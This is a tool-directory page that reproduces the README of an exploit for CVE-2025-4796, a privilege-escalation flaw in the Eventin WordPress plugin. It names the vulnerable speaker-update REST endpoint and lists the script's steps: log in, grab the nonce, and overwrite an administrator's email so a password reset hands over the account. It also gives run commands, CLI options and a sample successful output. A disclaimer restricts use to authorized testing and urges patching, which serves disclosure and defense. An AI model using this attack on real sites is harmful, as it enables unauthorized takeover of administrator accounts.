Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-4796 — Eventin <= 4.0.34 - Authenticated (Contributor+) Privilege Escalation via User Email Change/Account Takeover | Kitploit
Tools/GitHubGitHub/nxploited/cve-2025-4796
Authentication & AuthorizationPrivilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationLearning & Education
GitHubnxploited/cve-2025-4796

CVE-2025-4796

Eventin <= 4.0.34 - Authenticated (Contributor+) Privilege Escalation via User Email Change/Account Takeover

View Repository
9 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-4796

Eventin <= 4.0.34 - Authenticated (Contributor+) Privilege Escalation via User Email Change/Account Takeover

🛡️ Eventin <= 4.0.34 - Authenticated (Contributor+) Privilege Escalation (CVE-2025-4796)

📌 Overview

This repository documents a privilege escalation vulnerability in the Eventin WordPress plugin (<= 4.0.34) that allows an authenticated user with Contributor+ capabilities to change arbitrary users' email addresses via the plugin's speaker update API. By changing an administrator's email, an attacker can trigger a password reset and gain account takeover.

  • Vulnerable component: Eventin WordPress plugin (Eventin\Speaker\Api\SpeakerController::update_item)

  • Affected versions: <= 4.0.34

  • CVE: CVE-2025-4796

  • CVSS: 8.8 (High)

  • Active installations: 10,000+

⚠️ Vulnerability Details

Eventin does not properly validate the identity or capability of the caller before updating speaker/user details (specifically email). An attacker who is authenticated as a contributor (or higher) can change the email address of other users — including administrators — using the plugin REST endpoint:

  • PUT /wp-json/eventin/v2/speakers/<speaker_id>

Once the email is changed to an attacker-controlled address, the standard WordPress password reset flow can be used to take over the account.

🧰 Script (PoC)

Filename: CVE-2025-4796.py

This script automates the steps:

  1. Log in to the target WordPress site using supplied credentials.
  2. Extract the required X-WP-Nonce
  3. Send a PUT request to /wp-json/eventin/v2/speakers/<speaker_id> to update the speaker's email.
  4. Print and format the JSON response and a professional success message.

Requirements:

  • Python 3.8+
  • requests

Installation:

root@kitploit:~
pip install requests

🚀 Usage

Run the script from the command line:

root@kitploit:~
python CVE-2025-4796.py -u https://target.site -id 9 -email [email protected] -user contributor_user -pass contributor_password

Show script help:

root@kitploit:~
python CVE-2025-4796.py -h

📝 CLI Options (help)

root@kitploit:~
usage: CVE-2025-4796.py [-h] -u URL -id SPEAKER_ID -email EMAIL -user USERNAME -pass PASSWORD

Exploit For: CVE-2025-4796 By: Nxploited

options:
  -h, --help            show this help message and exit
  -u, --url URL         Target WordPress site URL
  -id, --speaker_id SPEAKER_ID
                        Enter the speaker ID for the user
  -email, --email EMAIL
                        Enter a new email address
  -user, --username USERNAME
                        Enter the username for the account to upgrade
  -pass, --password PASSWORD
                        Enter the password for the account to upgrade


✅ Example Successful Output

root@kitploit:~
[*] Please wait, exploitation starting ...
[*] Disabling SSL warnings ...
[*] Logging in to WordPress ...
[+] Logged in successfully.
[*] Extracting nonce value ...
[+] Nonce extracted: fc0ab7b983
[*] Exploiting and updating speaker info ...

[+] Exploitation in progress, please wait ...

[+] Exploitation successful.
[+] The account has been updated to Admin.
    Speaker ID   : 9
    Email        : [email protected]

[!] Please reset your password using the email: [email protected]

⚖️ Responsible Disclosure & Disclaimer

  • This repository is provided for security research, testing, and defensive purposes.
  • Do not use these techniques against systems you do not own or do not have explicit authorization to test.
  • Unauthorized exploitation of vulnerabilities is illegal and unethical.
  • If you are a site owner and believe you are vulnerable, update Eventin to the latest version or apply vendor patches immediately.
  • Use this code only in authorized environments (lab, client-approved pen test, or with explicit permission).

🧾 What the script does (concise)

  • Validates inputs (URL, email) and normalizes URL schema.
  • Disables SSL warnings (optional; used to support testing against self-signed dev instances).
  • Logs in using provided WP credentials and validates login via cookies.
  • Fetches X-WP-Nonce from the admin page.
  • Sends an authenticated PUT request to update the speaker's email.
  • Prints the formatted JSON response and a final human-readable success summary.

👤 Credits

By: Khaled Alenaz (Nxploited)
GitHub: https://github.com/Nxploited/

Download Tool